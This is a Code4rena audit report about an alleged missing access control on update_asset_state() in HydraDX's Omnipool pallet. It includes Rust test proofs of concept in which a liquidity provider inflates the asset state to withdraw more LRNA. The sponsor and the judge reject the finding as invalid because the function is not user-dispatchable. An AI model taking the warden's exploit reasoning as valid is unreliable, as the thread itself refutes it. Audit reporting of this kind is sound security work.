No access control on update_asset_state() public function in Omnipool contract can lead to user gaining more funds

[c4-bot-9]

Lines of code

https://github.com/code-423n4/2024-02-hydradx/blob/main/HydraDX-node/pallets/omnipool/src/lib.rs#L1975-L1981

Vulnerability details

Impact

In the omnipool/src/lib.rs , the update_asset_state() function is a public function defined in a Pallet implementation. Since this function is clearly marked public, it can be called outside the pallet. Hence any user or smart contract within the runtime can make a call to update_asset_state() and update the asset reserve state rather than through other functions that update the asset state e.g add_liquidity(), sell(), buy(), remove_liquidity().

The function loads the state of an asset and updates it with given delta changes. Any user within the same runtime can make a dispatch call to this non-entristic function and update the state of the asset.

With a combination of other vulnerable functions, a malicious user can manipulate the state to their advantage for favourable liquidations

Proof of Concept

https://github.com/code-423n4/2024-02-hydradx/blob/main/HydraDX-node/pallets/omnipool/src/lib.rs#L1975-L1981

In the PoC below, for a normal transaction, LP1 is expected to have a balance of 4840 tokens of the registered asset, and 203.921568627449 amount of LRNA

#[test]
fn normal_transaction_without_manipulation() {
    ExtBuilder::default()
        .with_endowed_accounts(vec![
            (Omnipool::protocol_account(), DAI, 1000 * ONE),
            (Omnipool::protocol_account(), HDX, NATIVE_AMOUNT),
            (LP3, 1_000, 100 * ONE),
            (LP1, 1_000, 5000 * ONE),
            (LP2, DAI, 50000 * ONE),
        ])
        .with_initial_pool(FixedU128::from_float(0.5), FixedU128::from(1))
        .with_token(1_000, FixedU128::from_float(0.65), LP3, 100 * ONE)
        .build()
        .execute_with(|| {
            let liq_added = 400 * ONE;

            let current_position_id = <NextPositionId<Test>>::get();

            assert_ok!(Omnipool::add_liquidity(RuntimeOrigin::signed(LP1), 1_000, liq_added));

            assert_ok!(Omnipool::buy(
                RuntimeOrigin::signed(LP2),
                1_000,
                DAI,
                200 * ONE,
                500000 * ONE
            ));

            assert_balance!(Omnipool::protocol_account(), 1000, 300 * ONE);
            let expected_state = AssetReserveState {
                reserve: 300 * ONE,
                hub_reserve: 541666666666667,
                shares: 500000000000000,
                protocol_shares: Balance::zero(),
                cap: DEFAULT_WEIGHT_CAP,
                tradable: Tradability::default(),
            };
            assert_asset_state!(1_000, expected_state);

            assert_ok!(Omnipool::remove_liquidity(
                RuntimeOrigin::signed(LP1),
                current_position_id,
                liq_added
            ));
            assert_balance!(Omnipool::protocol_account(), 1000, 60 * ONE);
            assert_balance!(LP1, 1000, 4_840_000_000_000_000);
            assert_balance!(LP1, LRNA, 203_921_568_627_449);

            assert_pool_state!(10391666666666667, 64723183391003641, SimpleImbalance::default());
        });
}

but when the LP1 calls Omnipool::set_position() function with the arbritary position data, the balance of the registered token for LP1 user will be 4840 amount of tokens and 274.050464807436 amount of LRNA token

#[test]
fn update_asset_state_called_by_any_user_to_get_more_funds() {
    ExtBuilder::default()
        .with_endowed_accounts(vec![
            (Omnipool::protocol_account(), DAI, 1000 * ONE),
            (Omnipool::protocol_account(), HDX, NATIVE_AMOUNT),
            (LP3, 1_000, 100 * ONE),
            (LP1, 1_000, 5000 * ONE),
            (LP2, DAI, 50000 * ONE),
        ])
        .with_initial_pool(FixedU128::from_float(0.5), FixedU128::from(1))
        .with_token(1_000, FixedU128::from_float(0.65), LP3, 100 * ONE)
        .build()
        .execute_with(|| {
            let liq_added = 400 * ONE;

            let current_position_id = <NextPositionId<Test>>::get();

            assert_ok!(Omnipool::add_liquidity(RuntimeOrigin::signed(LP1), 1_000, liq_added));
            // assert_ok!(Omnipool::add_liquidity(RuntimeOrigin::signed(LP3), 1_000, liq_added));

            assert_ok!(Omnipool::buy(
                RuntimeOrigin::signed(LP2),
                1_000,
                DAI,
                200 * ONE,
                500000 * ONE
            ));

            assert_balance!(Omnipool::protocol_account(), 1000, 300 * ONE);
            let expected_state = AssetReserveState {
                reserve: 300 * ONE,
                hub_reserve: 541666666666667,
                shares: 500000000000000,
                protocol_shares: Balance::zero(),
                cap: DEFAULT_WEIGHT_CAP,
                tradable: Tradability::default(),
            };
            assert_asset_state!(1_000, expected_state);

            let asset_state_delta = AssetStateChange {
                delta_hub_reserve: BalanceUpdate::Increase(100 * ONE),
                ..Default::default()
            };

            assert_ok!(Omnipool::update_asset_state(
                1_000,
                asset_state_delta
            ));

            assert_ok!(Omnipool::remove_liquidity(
                RuntimeOrigin::signed(LP1),
                current_position_id,
                liq_added
            ));
            assert_balance!(Omnipool::protocol_account(), 1000, 60 * ONE);
            assert_balance!(LP1, 1000, 4_840_000_000_000_000);
            assert_balance!(LP1, LRNA, 274_050_464_807_436);

        });
}

In the above PoC, the liquidity provider was able to gain more LRNA tokens after manipulating the asset reserve state.

Tools Used

Manual review

Recommended Mitigation Steps

Add an access control check to ensure the function can only be called by authorized origin. If function is not necessary, remove it.

Assessed type

Access Control

[c4-pre-sort]

0xRobocop marked the issue as primary issue

[c4-pre-sort]

0xRobocop marked the issue as sufficient quality report

[enthusiastmartin]

No issue at all. That's how substrate works with public functions.

Why would you bother with this - if you can call Balances::transfer, which is also public function.

[c4-sponsor]

enthusiastmartin (sponsor) disputed

[enthusiastmartin]

This is not valid report.

Public functions in substarte are designed to work with other pallets if needed to be.

Attacker cannot call this function as it is not possible deploy custom code/contract which would call this.

This is how substrate works.

If you could deploy custom code and call public functions- you can easily just call transfer functions and transfers any amounts you want, as this functionality is also public.

[OpenCoreCH]

As mentioned by the sponsor, there seems to be a misunderstanding by the warden about how Substrate works. These functions cannot be called directly within a transaction because they are not marked for that, the public is irrelevant here.

[c4-judge]

OpenCoreCH marked the issue as unsatisfactory: Invalid